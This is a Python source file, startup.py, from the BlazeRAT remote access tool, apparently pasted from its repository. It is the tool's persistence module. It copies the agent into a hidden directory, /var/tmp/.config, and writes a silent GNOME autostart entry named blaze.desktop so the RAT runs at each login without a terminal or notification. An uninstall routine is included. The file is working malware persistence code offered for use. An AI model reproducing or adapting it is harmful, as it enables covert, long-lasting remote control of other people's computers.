startup.py 2.1 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from sys import argv
  5. from shutil import copytree, rmtree
  6. from os import path, chdir, mkdir, remove
  7. """
  8. Author : LimerBoy
  9. github.com/LimerBoy/BlazeRAT
  10. Notes :
  11. The file is needed
  12. to install the program to startup.
  13. """
  14. # Installation path settings
  15. TMP_DIRECTORY = path.join('/', 'var','tmp')
  16. HOME_DIRECTORY = path.expanduser('~')
  17. INSTALL_DIRECTORY = path.join(TMP_DIRECTORY, ".config")
  18. CURRENT_DIRECTORY = path.dirname(path.realpath(argv[0]))
  19. # Autorun path settings
  20. AUTORUN_DIRECTORY = path.join(HOME_DIRECTORY, ".config/autostart")
  21. AUTORUN_SHORTCUT = path.join(AUTORUN_DIRECTORY, "blaze.desktop")
  22. # Go to current working directory
  23. chdir(CURRENT_DIRECTORY)
  24. # Create autostart directory if not exists
  25. if not path.exists(AUTORUN_DIRECTORY):
  26. mkdir(AUTORUN_DIRECTORY)
  27. """ Check if service is installed """
  28. def ServiceInstalled() -> bool:
  29. installed = path.exists(INSTALL_DIRECTORY)
  30. startup = path.exists(AUTORUN_SHORTCUT)
  31. status = installed and startup
  32. return status
  33. """ Install service """
  34. def ServiceInstall() -> str:
  35. print("[*] Installing service...")
  36. # Payload
  37. shortcut = (f"""
  38. [Desktop Entry]
  39. Name=BlazeRAT
  40. Comment=Remote Administration Tool
  41. Exec=/usr/bin/python3 {path.join(INSTALL_DIRECTORY, "main.py")}
  42. Type=Application
  43. Terminal=false
  44. StartupNotify=false
  45. X-GNOME-Autostart-enabled=true
  46. """)
  47. # Copy files to install directory
  48. if not path.exists(INSTALL_DIRECTORY):
  49. copytree(CURRENT_DIRECTORY, INSTALL_DIRECTORY)
  50. # Write shortcut
  51. if not path.exists(AUTORUN_SHORTCUT):
  52. with open(AUTORUN_SHORTCUT, "w") as file:
  53. file.write(shortcut)
  54. # Done
  55. return "[+] BlazeRAT agent is installed"
  56. """ Uninstall service """
  57. def ServiceUninstall() -> str:
  58. print("[*] Uninstalling service...")
  59. # Remove shortcut
  60. if path.exists(AUTORUN_SHORTCUT):
  61. remove(AUTORUN_SHORTCUT)
  62. # Remove installation directory
  63. if path.exists(INSTALL_DIRECTORY):
  64. rmtree(INSTALL_DIRECTORY)
  65. # Done
  66. return "[+] BlazeRAT agent uninstalled"